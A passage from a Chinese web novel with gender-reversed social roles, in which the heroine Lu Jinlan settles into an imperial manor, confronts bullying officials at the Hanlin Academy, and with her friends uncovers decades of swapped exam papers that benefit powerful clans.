她正说着,一抬头看见陆七郎站在柱子后边,仿佛犹豫着要不要过来。 陆锦澜笑道:“过来吧,这两位你都认识,没有外人。” 晏无辛扭头一看,“哎呦”一声,眼睛都亮了。 八卦的心情瞬间击散了她被赏了五个壮男的不快,兴致勃勃的打趣道:“呦呦呦,这是谁啊?某人不是说阿七跑了,不知所踪吗?原来跑到你家来了。” 陆锦澜拉着七郎的手,正式给她俩介绍:“这是陆某新纳的小郎,陆氏,陆七郎。他的户籍会落在云州我某个远房亲戚家,你们不要认错人了。” 项如蓁无奈摇了摇头,举起酒杯,“那就恭喜陆大才女,又得佳郎。” 趁着她们喝酒的工夫,陆七郎低声在陆锦澜耳边道:“我想出去一趟,把十三接过来陪我住,已经跟宋公子说过了。” 陆锦澜点了点头,“去吧,天快黑了,早去早回。” 陆七郎一走,晏无辛才寻思过味儿来,“哎,这趟北州之行,锦澜真是收获颇丰啊。抱得美男归,得了皇家别院,那十万凌家军在你岳母手里捏着。你这分明是为自己赚下家业,还得了皇上的赏,这顿应该你请才对。” 陆锦澜笑着应允,“我请我请,以后都我请。来,干杯!” * 如曾颖所说,北州案她们办得很瓷实,三司会审两天就出了结果。 二十多个主犯,自然有扛不住刑的,将凌氏姐妹招了出来。 但帝王都是玩弄权术的高手,赵敏成更是其中的佼佼者。 是她命人将案子一查到底,主审官当朝呈上证供后,又是她当众表示:“这是胡乱攀咬,朕信得过定北侯和凌太尉。” 定北侯凌之静和太尉凌之冲跪在大殿上,面色阴晴不定,如临深渊,如履薄冰。 于她们而言,难的不是反或者不反,而是受困于二者之间。 反,刚损失了十万大军,师出无名,眼下的局势更是对她们百般不利。不反,心里意难平,且如今赵敏成已经对她们动了手,起了心思,恐怕不反也没有什么好下场。 赵敏成面对朝臣们,将这场拉扯大戏演得酣畅淋漓。 她一会儿言辞恳切的表示如何信任凌氏姐妹,一会儿又痛心疾首表示北州之事极其恶劣,凌氏姐妹有失察之过。 她不断地将二人心口的那块石头拉起来压下去,看着二人备受煎熬,她却张弛有度进退自如。 丞相晏维津身为百官之首,冷眼旁观面沉如水。位列三尊之一的御史令金云凝一脸沉重,暗自摇头叹息。 山雨欲来风满楼,身为老臣,她们已经嗅到了暴风雨的味道。 最后,皇上终于把自己演累了,准备收场。 赵敏成:“太尉凌之冲总管军务,北州之事你有不可推卸之责,罚你停职半年。北州境内的凌家军,交由虎嫖将军宋婧骁整肃军纪治理歪风,整顿结束后,再交还给定北侯。凌侯、凌太尉,你们可有异议?” 赵敏成坐在龙椅上,冷着脸微微倾身,直到看着二人在她面前伏地叩首,异口同声道:“臣,悉听陛下处置。” 赵敏成几不可闻的勾了下嘴角,又迅速沉下脸,“散朝。” * 朝堂的大新闻,穿到民间不过是一段故事。陆锦澜东一耳朵西一耳朵的听了听,都没细打听。道理很简单,她还没站上朝堂,这些事儿她插不上手。 自从打北州回来,她身边发生了不少事,是真正需要她经手的。 和项晏二人喝酒的第二天,礼部送来了大婚吉日,腊月十六。 距离婚期还有不到两个月,她和宋凛丞各自写信告诉陆宋两家,正式开始筹办相关事宜。 皇家别院的地契和物品清单也在当日送来,陆锦澜迫不及待的叫上项如蓁和晏无辛,再带上宋凛丞、陆七郎一块去看新宅。 之前曾颖说皇家别院很大,她还没概念。等到了忠勇园,才明白“皇家”二字的含义。 皇家别院的建造规模是顶格的,可以说能建多大建多大,恨不得把这附近的山山水水全装进去。 而寻常人家再富有,也不能越了规格。通俗的说,就算你有钱买得起地,也不准建超出规格的园子。 上有皇权压制,任何人不得僭越。 陆锦澜在学院附近买的宅子,虽比不得云州的家,但自认为已经十分豪华,山水园林皆有,足足有五十多间屋子。 然而跟忠勇园比起来,那栋宅子小得像个茅厕。 忠勇园地处东郊,建得更像庄园,有地方可以纵马狂奔。 山是自然形成的山,水既有流经的活水,也有池塘泉眼。 房屋两百多间,家具摆件,一应俱全。 晏无辛看得连连感叹:“我那乐玩山庄真应该拆了,咱们回头就在你这儿聚,这多宽敞啊。城外安静空气也新鲜,住在这种地方,必然是睡前笑着睡,醒了笑着醒。” 陆锦澜笑道:“回头我让人收拾出两个院子,专门留给你和如蓁住。咱们有福同享,如何?” 二人连连竖起大拇指,谁也没推拒,只道:“陆大人仗义。” 陆锦澜又让凛丞和陆七郎各自选了院子,她帮雨眠也挑了一个院儿,余下的院落有空再收拾吧。先简单规划一下,回头再添些东西,慢慢搬过来。 宅子大,事情多,又需采买一些家奴。凛丞忙活起来,陆七郎跟他学着写字算账,打打下手,二人关系倒是很融洽。 陆锦澜虽然在假期,空闲着,但也懒得管这些杂事。 好在,陆今朝收到信,带着严氏、管家邹姨、一众老仆,还有大婚所需的许多东西上京支援。计划着大婚过后,才回云州去。 如此一来,陆锦澜彻底不用操心了,干脆当起了甩手掌柜的,只拣自己想干的事儿做。 她甚至都寻思了一下,要不溜去云州看看雨眠,反正千里马来回也就三四 天。 听邹姨说,雨眠很讨陆今朝和严氏的喜欢,庆儿也天天跟在身边照顾他,有专门的人伺候他养胎。这次府里一大半的人来了京城,云州大宅便交给雨眠管着,他大概更自在了。 然而陆锦澜转念想到前阵子的刺杀,还是打消了这个念头。可能是皇上有所指示,陆府附近经常有巡逻的卫队经过。但打铁还需自身硬,她琢磨着,还是应该多一重准备。 陆锦澜正谋算着,陆七郎身边的男仆过来传话,“少主,陆小郎问您是否得空,想请您过去一趟。” * “什么事啊?”陆锦澜进了屋便抱住他,“你和凛丞天天忙,也没人陪我,我都成了孤家寡人了。” 七郎低笑一声,“昨晚不是我陪你吗?你忘性倒好。快坐下,我求你件事。” 求我什么事啊?陆锦澜毫无头绪的坐下。 七郎缓缓道:“这几天十三闷闷不乐的,我还以为是我太忙,他无聊的。结果他刚才主动找我,他看到你对我这么好,宋公子也这么和善,他很放心。” “他说:‘七哥你现在终身有靠,找到了好归宿,我很羡慕你。可我也不想这么飘着了,也想去找自己的归宿了’。” 陆锦澜呛了一口茶,她不是笑十三,她是笑“归宿”这两个字。 在现代总有人貌似好心的说:“你也不小了,该给自己找个归宿。”“女人嘛,终归是要有个归宿的。” 我呸!当时陆锦澜就在想,难道没出嫁的女人都睡大街了吗?说得好像没男人就没处落脚似的。 怎么没人对男人喋喋不休的说:你事业再成功也没有用,男人嘛,女人才是你最终的归宿。 她一直在想,男人怎么不找归宿? 当男人纷纷开始找女人做归宿,依附女人生存的时候,一定是女人主宰世界的好时候。 当然,现在就是好时候。所以,十三都要找他的归宿了。 陆锦澜扶了扶额,“行,我回头打听打听,哪里有相当的,帮他留意着。” 七郎忙道:“不用,他已经有了中意的人了,就是在北州大青山,护送他下山的那位百妇长。” “啊?”陆锦澜一脸问号。 她略一回想,那个时候十三还浑身是血呢,疼得要死要活的,竟然还有心思勾搭女人呢?怪不得凌家式微,培养了十几年,培养出一群恋爱脑,能办成什么事啊。 七郎观察着她的神色,担忧道:“你是不是觉得十三配不上她啊?他不要求做正室,他只求做小郎。” 陆锦澜挠了挠头,“当天人那么多,十三说的这个人,我恍惚有个印象,但也不知道她姓氏名谁,这我怎么帮啊?” 一直躲在窗外偷听的十三,此时忍耐不住,出声提醒道:“她姓孔,我问了。” 陆锦澜噗嗤一笑,“那你就没顺便问问人家,娶夫了没有?” 十三低声回:“我没好意思问。” 陆锦澜笑着叹了口气,无奈道:“好吧,那我便给岳蝉写封信,让她帮你引见一下。但成不成,得看人家的意思。这种事,都讲究一个你情我愿,没有勉强的道理。” 她飞快地将信写好,把十三叫了进来,“你走的时候去账房领一百两银子,就说我让的。七郎把你当亲弟弟,这份银子算是我们给你的陪嫁。当然,嫁不成你就回来,当盘缠算了。” 十三十分感激的给二人行了大礼,第二天便带上信和银子往北州去了。 陆府这些天真是人来人往,刚走了一个,又来了一群。 宋婧骁派她的亲卫押送着几十车陪嫁抵达京城,领头的叫姜兰,正是当初在万象街要抓宋凛丞回去的那人。当时陆锦澜把她按到墙上,差点一掌拍死她。双方都不知彼此身份,还互呛了几句。 这次一见面,姜兰先给陆锦澜请罪道:“前番实在抱歉,属下不知您就是我们宋家的儿主,言语之中多有得罪,请陆大人海涵。” 陆锦澜笑道:“都是误会,不必放在心上。我那天出手很重,也很不好意思。你们一路赶来辛苦了,先去休息吧。” 姜兰将宋婧骁的信交给她,这才带人下去安置。 宋婧骁在信上说,想让姜兰带一支十人小队留下,给她和宋凛丞做护院。这些人绝对靠得住,身手也不错,避免上次行刺的事再发生。 如此安排,正合陆锦澜的意。 不过家里男眷多,姜兰她们都是女人,还是有不方便的时候。 陆锦澜刚从孤儿院买了一批少男,准备让他们学些武艺,以男仆的身份留在陆府。万一凛丞、七郎要出门,他们跟着她便能放心些。或者,她不在家的时候,这些人能在外间值夜,如此,便可万无一失。 人她刚买回来,正愁没人教,姜兰就到了。 陆锦澜干脆安排姜兰做师傅,让她把这二十个普通少男训练成安保型男仆。 训练地安排在忠勇园的草场,陆锦澜闲来无事,邀晏无辛和项如蓁一块来围观。 “怎么样?凌家养男刺客,我养会拳脚的男仆。别看我培养的这些人现在什么都不会,关键时刻说不定比凌家的刺客都管用。” 晏无辛摇头:“难说,你那七郎倒是有些身手,那不还是背主了吗?” 陆锦澜啧了一声:“那叫弃暗投明。如蓁,你说是不是?” 两人转头一看,项如蓁靠在椅子上睡着了。 晏无辛小声道:“翰林院学习有这么累吗?我看如蓁这几天脸色不大好。” 陆锦澜想了想,“明天我去翰林院看看。” 第二日,陆锦澜提着份糕点进了翰林院。 外间负责接待的人四十来岁,正在打盹。 陆锦澜轻咳一声,“打扰了,请帮我找一下项如蓁。” 那人懒懒的掀开眼皮,见陆锦澜十分年轻还是个生面孔,便语气不善道:“你谁啊?翰林院修书重地,闲杂人等,不得入内。” 陆锦澜无语道:“我也没进去啊,我这不是让你帮我叫人出来吗?” 那人没好气道:“没空!找人外面等着,散值了你就见到了。” 陆锦澜眉头一皱,“你这是什么态度?” 那人不屑道:“你是民我是官,你管我什么态度?不服?告去!” 陆锦澜微微点头,咬牙道:“好,你先告诉告诉我,你是多大的官儿。” 那人白了她一眼,“我乃正七品编修。” 话音未落,砰一声,陆锦澜一脚踹翻了那人的椅子。 编修摔倒在地,疼得龇牙咧嘴,急道:“你敢殴打朝廷命官?你不要命了?” 陆锦澜微微一笑,“你敢以下犯上,这一脚是你自找的。” 那人见她底气十足,不由心里发怵,结结巴巴问道:“你……你是何人?” 第62章 陆锦澜抻了抻衣襟上的褶皱,“正四品骁骑校尉,陆锦澜。” 那编修听到她是正四品的官时,心里还存在一丝侥幸。 毕竟二品大员她也是见过的,惹了上官,人家不高兴,被一顿臭骂甚至给她几下,忍一忍就过去了。上官大多要体面,泄了气就罢了,人家懒得和她们这些芝麻官计较。 但她听到“陆锦澜”三个字后,悬着的心嘎巴一下就死了。 因为陆锦澜这个名字,比二品大员的杀伤力还大。 从武试扬名开始,陆锦澜就成了说书人的重点编撰对象。因为她这人做事总是出格,好像天生就跟规矩作对似的,简直是天选的评书级人物。 隔三差五就发生点儿故事,今儿个为朋友强出头打架斗殴,明儿个闹出桃色绯闻,后儿个又办了大案。亦正亦邪新鲜事儿不断,说书人添枝加叶一传诵,街头巷尾的老百姓十分爱听,导致越传越邪乎。 都说她是皇家学院天字第一号的混世魔王,不是在闹事儿,就是在闹事儿的路上。一整个混不吝,天底下就没有她怕的东西。据说她为了整顿食堂,给几十位大人吃猪食,连御史令都给吃吐了。又说她为了查赈灾银,睡了个细作,把人家肚子都搞大了。 总之,陆锦澜的名声是不好惹,爱较劲,正里带着邪,邪里带着阴。论讲道理,谁也争不过她。论耍无赖,地痞泼皮也得输她两成。 好人自觉没她大义,坏人生怕没她损,哪边人遇到她都得敬三分,因为她是真难缠呐。 这编修捂着摔疼的屁股心底哀嚎:哎呦喂,我怎么撞到这活阎王手里了? 她只得自认倒霉,连忙爬起来请罪,瑟瑟发抖道:“小的有眼不识泰山,不知陆大人到此,多有得罪。请陆大人稍坐,下官这就去给您把项如蓁叫出来。” 陆锦澜见她神色慌张,好像怕她瞧见什么似的,便一把将她搡到一旁,“起开!我自己去找。” “陆大人,您不能进去啊,陆大人……” 眼看着劝不住陆锦澜,那编修便想赶在她前面给里面通风报信。 “陆锦澜来了!陆唔……” 陆锦澜死死捂住她的嘴,将人夹在肋下,大步跨过长廊,一脚踢开了翰林院的大门。 * 自从项如蓁奉旨入翰林院学习,整个翰林院跟放了大假似的,全体都清闲下来。 一个陈旧的部门,来了个新人,某些老人便会自动瘫痪,将自己那一摊子全甩出去。 来的若是个能干的新人,老人便会集体的彻底的瘫痪。 新人很少被当人,大多数时候,新人就是老人眼里的牲口。 还有一个多月,便要过年了。往年这会儿正是翰林院忙碌的时候,而今年不少人却陆续请了病休。今天院里除了门外那个接待的编修,就来了两个修撰。 “项如蓁,赶紧把去年没编完的《神京地志录》弄好,院长等着要呢。” “项如蓁,书库存书档案也急着要。年底要交给礼部审查的,你抓紧盘一遍。” 两位修撰吩咐完任务,泡了壶茶,摆好棋局,倚在榻上悠然的饮茶下棋。 棋局下到紧要处,心气浮躁眉头紧皱,一人便朝着书库大喊:“项如蓁,拿个炭盆来,你要冻死我们呐?” 话音未落,忽听砰一声,外面闯进来一个意气少年。 那人怀里挟持着她们的同僚,朱唇微抿横眉怒目,恰似暴雨将至,来势汹汹。 二人吓了一跳,“你谁啊你?” 陆锦澜将怀里人甩过去,那人踉跄几步跌在棋盘上,哗啦一声,无数个棋子砸落到地面,溅得到处都是。 一人气愤地握着拳头冲过来,被陆锦澜单手擒住了手腕,她稍一用力往身后一别,疼得那人嗷嗷直叫。 另一人刚要愤而起身,那编修忙急声劝道:“嘘!她是陆锦澜。” 那人脸色一变,拱手道:“我等都是文弱书生,请陆大人手下留情。” 陆锦澜冷哼一声,手里仍旧捏着不放,嘲讽道:“是吗?我看着像是要跟我动武。你们翰林院地方不窄,我不妨陪你们比划比划。” 此时项如蓁听到声响快步出来,那人忙低声恳求道:“如蓁,陆大人好像误会了,你快帮忙说说。” 项如蓁刚刚在书库登记古书,弄得灰头土脸一身污,一出来看见如此混乱的场面,还有陆锦澜手里始终提着的糕点,忽而一笑,“锦澜,放了她吧,你不是来找我的吗?” 陆锦澜咬了咬牙,“今天我给如蓁面子,滚吧。” 三人连忙告退,“我们不打扰了,你们聊。” 她们走得急,有人踩在棋子上,噗通一声摔倒在地,那人还不敢叫唤,只是皱着脸被同伴拖了出去,场面颇为滑稽。 项如蓁笑着摇了摇头,从茶盘上取出新的茶杯,给陆锦澜倒了杯茶,“坐。这杯子是我早上洗的,很干净。” 陆锦澜无奈的叹了口气,伸手帮项如蓁擦了擦脸上的灰尘,心疼道:“早就跟你说这不是个好差事,皇上是准你入翰林院学习,又不是逼你日日都来学习,你何必由着这些人作践?衙门里的人拜高踩低,你受了委屈还不和我们说,你真是……” 陆锦澜说着说着忽然鼻子一酸,一挥手道:“算了,回头我和无辛买几个麻袋,把翰林院这帮欺生的家伙都拖到巷子里暴捶一顿,我看谁还敢欺负你。” 项如蓁噗嗤一笑,“好啦,人家也没把我怎么样,不过是给我多摊派了些活儿。没跟你们说,就是怕你们为我担心。其实,我日日都来这儿,也有我的打算。” “一来,我想尽快熟悉翰林院里所有事宜。皇上既然准我来这儿学习,我便不能白来,将翰林院摸透,以后入朝做官,多了解一个衙门,肯定没有坏处。” “二来,我也想看看,官场的风气能坏到什么程度。将来咱们想治理歪风,总得先了解歪风吧?我是可以一开始就找你为我出头,但换了旁人,没你这么硬的朋友,又该如何?” “三来,我正在假期,反正闲来无事。等参加完你的大婚,我便要回家去过年了。年后回来,要准备开学,也没工夫来了。拢共也就在这学习一个多月,我又不是吃不了这点苦。” 陆锦澜气道:“好,你境界比我高,我说不过你。你项如蓁认准的事儿,谁能拦得住?但我请问,你要吃苦吃到什么时候?十几个人的工作都丢给你一个人做,你就是铁人,也会累死的。” 项如蓁笑道:“你都来了,这苦也就吃到今天了。” 陆锦澜白了她一眼,“最好是,不然我天天来闹,我看这翰林院有几个经打的。” 两人喝了会儿茶,吃了些点心,看着时候不早了,陆锦澜才先行离去。 那仨人儿看着她走了,终于松了口气。两个修撰进门收拾东西,嘴里开始嘀嘀咕咕的抱怨。 “她得意什么?不就仗着姻亲关系背景硬吗?” “此一时彼一时,我就不信她能一直有这么好的运气。等她落我们手里那天,有她好受的……哎!” 两人话说一半,脖子忽然一紧,双脚离地。 回头一看,一直低眉顺眼任劳任怨的项如蓁沉着脸,横眉冷目,眼底皆是寒意。 她抓着二人的脖领,将她们按到墙上,冷声警告:“不要让我听到你们诋毁我的朋友,否则我不会客气。” 二人被勒着喉咙,几乎喘不过气,手脚挣扎着,眼底却有一丝不服气。 项如蓁冷笑一声,“我知道你们在想什么,我出身低贱,能把你们怎么样?那我不妨告诉你们,在下天生有把子力气,给你一拳够你们躺半个月的。” “你们别忘了,不论你有多么高贵的出身,都只有一条命。触碰我的底线,我会让你们知道什么叫贱命一条,无所畏惧。我是不怕死的,你们呢?” 她轻蔑的挑了挑眉,松开手,看着二人烂泥一样滑落到地上,冷哼一声拂袖而去。 从那以后,翰林院的人忽然病都好了,集体取消病休,也不敢把事全丢给项如蓁做了。 但项如蓁还是按照她的计划,日日都去。 这天,陆锦澜在忠勇园观摩训练,晏无辛匆匆忙忙来找她。 人还没走到跟前,先喊道:“不好了!天塌了!” 惹得那群训练的男仆纷纷侧目,姜兰咳嗽一声,“好好练功!” 陆锦澜笑问:“怎么了?又得了几个壮男?” 晏无辛道:“比壮男还恐怖!院长刚派人去我家通知我,说咱们四个缺席了期末考试,她重新出了套题,后日安排咱 们补考。哎呀!我这出差一个多月,回来又玩了一个多月,书本都不知道扔哪儿去了,学的差不多全忘了,考什么考啊!” 陆锦澜道:“那估计也通知我了,只不过我早上出城,没逮到我。走,我们去告诉如蓁,晚上一起复习。” 二人到了翰林院,门口还是上次那人,只不过这回完全换了副面孔,笑脸相迎道:“陆大人,项同学在书库里呢,要不要我给您叫出来?” “不用了,我们进去找她。” 那人犹豫了一下,虽然不知道晏无辛是谁,但也没敢多问。睁只眼闭只眼,全当没看见。 二人将补考的事一说,项如蓁道:“考便考吧,其实第一个学期结束,没参加上期末考试我还有些遗憾。这回,便觉得圆满了。” 晏无辛愁眉苦脸道:“你们俩,加上那位殿下,当然不怕考试。我要是像你们成绩那么好,我也不怕考试,我这不是怕考不好吗?院长也真是的,第一学期期末考试,又不是学年年末考试,不影响将来入职各部的,有什么可补考的?” 皇家学院共有三个学年,每学年下学期的期末考试即为年末考试,成绩入档,是将来六部及各大衙门选用人才的重要参考依据。 虽然有三个学年,但实际只有大一大二学年结束时会有考试。大三学员外派,院长和各课师傅会根据前两年的成绩及课堂表现,直接评定成绩。 如晏无辛所说,上学期的期末考不重要。她好不容易躲过了,还要补考,真是让她措手不及。 她絮絮叨叨抱怨了一会儿,忽然灵机一动,“这翰林院是不是有往届年末考的存档啊?” 不待项如蓁回话,她已经寻着目录翻了某届的存卷出来。 项如蓁劝道:“别看了,万一到时候咱们某些考题和以前一样,那就是泄题。对别的同学来说,不公平。” “哎呀,那是下学期期末的事儿呢。我这脑袋你还不知道?我看了我也记不住,我就是好奇。” 陆锦澜笑了笑,“让她看吧,都不用等到下学期期末,过个年她就忘光了。” 二人正说着,忽听晏无辛“咦”了一声,“你不是说于大人是那届的优等生吗?她怎么才排二十三名?” “不可能!”项如蓁笃定道:“我在学院书馆看到过她大二上学期的排名,是第一的。而且她结业考试的文章被院长选进了优秀毕业生合集里,怎么可能只有二十三名?” 晏无辛把原卷递过来,“你看!这是她的名字啊。” 项如蓁看了看卷面的字迹,忽道:“不对啊!这不是于大人的笔迹。” 陆锦澜道:“判卷的时候,是糊名的。姓名是判完成绩之后,重新揭开的。是不是中间出了什么纰漏,有人弄错了?” 她把卷子拿过来仔细端详,姓名处的纸张微微凸起,她用指甲在姓名处抠了抠,姓名条迅速脱落,一个新的名字露了出来。 陆锦澜眉头一皱,“凌思慎,这是谁?” 项如蓁看了她一眼,“想必是凌家的某个亲戚。” 晏无辛不解,“怎么会错的这么离谱?两个人的名字完全不像,这也能搞混?” 陆锦澜摇了摇头,“不,不是搞混,是故意的。你把第一名的试卷找出来,看看是不是凌思慎。” 晏无辛翻出来一看,“不是,第一名姓赵。” 陆锦澜把卷子拿过来,抠下姓名条,于继芳的名字露了出来。项如蓁凑过来确认无误,“这张卷面才是于大人的笔迹。” 陆锦澜深吸一口气,“那事情就变得可怕了,我们可以确认的是于大人的成绩被篡改。但我猜,所有人的成绩都被篡改了。验证这个猜想并不难,我们把这一届所有姓名条都抠下来,看看有多少不一样。” 项如蓁想了想,“你们俩查这届,我去把往届能找到的存卷都找出来。” 晏无辛紧张的问陆锦澜:“如果你猜的没错,我们是不是发现了天大的秘密?” 陆锦澜神情凝重的摇了摇头,“天大的秘密不可怕,就怕是某些圈子里公开的秘密。有人把六部衙门当成自家铺子,想让谁进就让谁进。” 晏无辛忙问:“那……那我们怎么办?”—— 作者有话说:在生理期挣扎,过了这两天再日六吧(_) 第63章 陆锦澜沉思片刻,“先看看情况到底有多严重,然后再说吧。” 两个时辰后,几百份试卷被摊开,几乎每一份试卷都有两个名字。也就是说,每一个人的成绩都不是自己的成绩。 有人偷得荣光镀金身,从此入朝堂上青云。 有人就此落红尘,在人生最有可能翻盘的重要一局,在毫无知晓的情况下,被人换走了手中的牌。 三人沉默了许久,项如蓁沉声开口道:“翰林院最多只能查到最近二十年的存卷,但这种事只怕存在了不只二十年。” 陆锦澜长叹一声,点了点头。不是二十余年皆是如此,只怕是从古至今,向来如此。 她想起了一句宋词:六朝何事,只成门户私计? 古今多少事,原来都不过是门阀大族为了心中私利狭隘的算计。 据说一位老人在晚年读到此句,曾嚎啕大哭不能自已。 陆锦澜此刻感同身受,只觉得万般沉重和无限悲凉。 连晏无辛都苦笑道:“朝廷,理应选贤任能,才能使国家昌盛百姓富足。学院胡乱搞了这么多年,怪不得总出现一些贪官庸官。” 陆锦澜笃定道:“此事不是学院要搞的。你想,这事儿涉及到嬅国所有大家族的利益,岂是院长一人可以左右的?如果没有院长在其中斡旋,情况只怕更糟。我突然明白,她为什么坚持要我们补考了。” 晏无辛忙问:“为什么?” 陆锦澜:“因为她想在她能保证公平的时候,让我们看清自己的实力。以后若跌得太狠,总还能安慰自己,有过正常发挥的时候,不至于太过神伤。” 项如蓁气愤道:“可怎么能不神伤呢?就像于大人,她一直都是第一名,最后突然变成二十三名,她难道不会怀疑自己吗?她被偷了成绩,失去了机会,看着那些不如她的人青云直上,她却被发配到犄角旮旯的破地方,从小小的芝麻官开始艰难的往上爬。这其中多少辛酸血泪痛苦煎熬,如何能让人不忧郁神伤?” 陆锦澜握住项如蓁的手,温声道:“小声些,此事不能声张。” 项如蓁愁眉紧锁,“这件事是咱们偶然得知,可我不能知道了装不知道。我知道此事干系重大,你们没必要冒这个风险,我自己来处理这件事。以后不管怎么样,我不会把你们说出来的。” 陆锦澜听见这话勃然大怒,“项如蓁!经过了这么多事,你还说这种话,算什么生死之交?” 项如蓁急道:“就因为咱们是生死之交,我才不想把你们拉下水。” 见两人都变了脸色,晏无辛连忙嘘了两声,快步把门关上,“两位祖宗,低声些!咱们仨早就在一条船上了,还说什么拉不拉下水的话。” 晏无辛蹲在两人中间,“如蓁,我得说你两句。就算你是好心,也不该把我俩摘出去。除了我俩,你还能找谁?这么大的事儿,咱们仨儿使出吃奶的劲儿都未必能办,你还要单打独斗,你疯啦?” 陆锦澜哼了一声,“人家能着呢,用不着咱们。我们都贪生怕死,就你项如蓁顶天立地一往无前,你一定有了万全之策吧?” 晏无辛无奈道:“哎呀锦澜,赶紧收起你的阴阳怪气儿。没说你,你还来劲了,一张嘴恨不得把人毒死。你说你俩,一个牛脾气,一个小孩儿脾气,把我都闹得没脾气了。我晏少娘好歹也是京城里的风流人物,都沦为劝架的了,赶紧给我点儿面子。 明明是一伙的,吵什么吵?立刻和好,大家各退一步,我说三二一,互相说对不起。” 晏无辛抓住她俩的手,“三二一。” 两人挎着脸,互相看了一眼,“对不起。” 晏无辛:“好了,那就说说这件事咱们怎么办吧。” 项如蓁:“我打算自己去……” “咳!”晏无辛咳嗽一声,“好好组织你的语言。” 项如蓁瞥了她俩一眼,“我本来打算自己去衙门,带上这些证据往上告。” 陆锦澜道:“你要告的人就在衙门里,谁敢接你的案子啊?” “咳咳!”晏无辛咳嗽两声,“你也注意说话方式。” 陆锦澜抿了抿唇,“我的意思是,这事儿咱得管,但是不能蛮干。你们想啊,二十多年间,难道没有其她人发现不对劲吗?就比如咱们班,一直考倒数的人,结业的时候突然跑到前面去了,正常人能不怀疑吗?” “一定有人察觉到什么,但却从来没有曝出过问题,为什么呢?因为在这件事上,所有世家大族、官阀、军阀、学阀,全都是一伙的。那么多姓赵的排在前面,说明什么?皇族都参与其中,难道皇上会不知道吗?就算你告到御前,也没有用。” 项如蓁看了眼陆锦澜,“那你说,该怎么办?” 陆锦澜想了想,“我说了,你又要跟我急。” 晏无辛嘿嘿一笑,“都不急都不急,大家好好商量。锦澜一向最有主意,你说来听听。” 陆锦澜道:“我觉得,我们的重点不该是翻旧案,而是着眼于未来。过去的事儿已经过去了,这些答卷人有的可能已经死了,做官的已经在朝中经营十数年,每个人背后都有无数张利益网交织在一起,牵一发而动全身,根本无法撼动。” “我们能做的,是从明年开始,逼着她们改变这条潜规则。从我们这一届开始,将公平二字贯彻到底。她们做手脚改成绩,我们就做手脚改回来。实在不行就把事儿捅出去,把权贵阶层的秘密,变成全民皆知的秘密。到时候满城风雨,看谁还敢浑水摸鱼。” 项如蓁点了点头,“好,就这么办。” “啊?”陆锦澜一惊,“我还以为你要说什么,‘那以前那些人就不管啦?这对她们公平吗?’之类的。” 项如蓁忍不住一笑,“我是想管,但你说得对,我们无法撼动从前。当年受了委屈的人,应该隐约知道发生了什么,但她们对此无能为力。可我们有心有力,我们能改变未来。至少从我们这一届开始,打破门阀垄断,不允许不公的事继续发生。我们一定能做到,对吗?” 陆锦澜“嗯”了一声,“要是咱们仨一起肯定能做到,你要抛下我们俩,那就不一定了。” 项如蓁无奈的拍了拍她的肩膀,笑道:“别生气了,我现在决定以后做鬼都不放过你们。我们老了死了,还要一起闹事,从光天化日闹到阴曹地府,永远都不分开,行了吧?” 陆锦澜一笑,“这还差不多。这事儿要闹,也得等到下学期期末考完了再说,咱们先管住嘴,不要和任何人透露。这半年里我们可以细细谋划,到时候闹个天翻地覆。” 三人的手握在一起,“好,就这么定了。” * 学年考试是以后的事儿,补考的日子说到就到。几天后,四人成绩公布,院长将她们的成绩和其他同学综合到一起重新排名,结果和往常差不多。 陆锦澜第一,项如蓁第二。晏钰第三,她大皇女的身份还要继续保密,暂时还用晏钰的名字。 至于晏无辛嘛,考了第四十六名。 陆锦澜安慰的捏了捏她的肩膀,“往好处想,你是我们四个人里,进步最大的,比上次考试进步了五名,对吧?” 晏无辛勉强露出微笑,“我谢谢你啊,你倒是想进步五名,你有这么大的进步空间吗?” 陆锦澜笑了笑,“些许浮名而已,你晏无辛何许人也,岂能在意?走吧,咱们去忠勇园撒欢儿,这点破事儿,你转眼就忘了。” 晏无辛仰天长叹,“唉,浮名困我,快乐没那么简单啊。” 这话说完也就半个时辰,三人在忠勇园撞见姜兰又在训练那批男仆。 有一个眉清目秀少男,总是出错招,被姜兰打了两下,眼睛都红了。 晏无辛看得连连叹气,“我就见不得男人受苦,姜师傅也不太懂得怜香惜玉了。你们看给他打得,我看着都心疼。” 项如蓁淡淡的瞥了她一眼,无情戳穿,“你那是见不得男人受苦吗?你就是好色。你看人家长得好看才心疼,旁边那个胖子被多打了好几下呢,你怎么不心疼?” 晏无辛抿了抿唇,“谁让他吃得多?肉厚,打几下又不疼。这个就不一样了,这个一看就不禁打。我看姜师傅不会教人,好好说啊,老动什么手?这招我也会,我去教他。” 陆锦澜和项如蓁看着晏无辛快步走过去,相视一笑,拉了张凳子,坐在旁边围观。 晏无辛跟姜兰打了声招呼,把人从队伍里拉出来,“你叫什么名字啊?” “回晏少娘,我叫怀星,入怀的怀,星月的星。” “怀星?真好听。人好看名字也好听,就是人笨了点。” 怀星不好意思的低下头,“我从小就笨,姜师傅我再学不会,以后只能端茶倒水,做二等男仆了。” 晏无辛笑了笑,凑近些低声道:“那是姜师傅不会教,你管我叫师傅,我教你。” 怀星诧异的看了下眼前这个明媚的少年,“晏少娘似乎和我差不多年纪……” 晏无辛:“当师傅和年纪有什么关系?再说,你多大?” 怀星:“我十六。” 晏无辛骄傲道:“我十七,够资格做你师傅吧?我可从来没给别人当过师傅,你不想当我的首徒吗?” 怀星沉默片刻,坚定的答道:“想。” 晏无辛一笑,“叫声师傅听听。” 她附耳过去,少男温润的嗓音在耳边响起,“师傅。” “乖!”晏无辛从他手上拿走他的剑,“这招看师傅给你演示一遍。” 远处的项如蓁看得连连摇头,“刚才还愁云惨雾呢,现在就喜笑颜开了,你说她还记得自己考了四十六名吗?” 陆锦澜笑道:“她已经沉浸在自己撩男的艺术里,早就忘了天地为何物了。真希望她能永远这么快乐,最好我们也能像她一样,不管发生什么事儿,有美男在怀,就能忘乎所以。” 话音未落,项如蓁扬了扬下巴,“你的美男来找你了。” 陆锦澜回头一看,凛丞带着两个男仆正在往她这边来。 陆锦澜笑道:“今天终于不忙了?” 凛丞低笑一声,“有你爹和我爹帮忙,一切都准备好了,可以安心等着做新郎了。于是我就想好好研究下厨艺,以后你深夜读书,我好给你煮夜宵。” 陆锦澜略一回想,“我只记得你会煮鸡蛋。” 凛丞不服,“人是会进步的,而且我好歹在食堂做了那么久的工,看也看会了,没什么难的。我今天做了虫草老鸭汤,你尝尝。” 身后的男仆将汤锅放在桌上,宋凛丞盛了两碗,一碗给陆锦澜,一碗推到项如蓁面前,“项姐姐也尝尝吧。” 项如蓁笑道:“多谢妹夫,有劳了。” 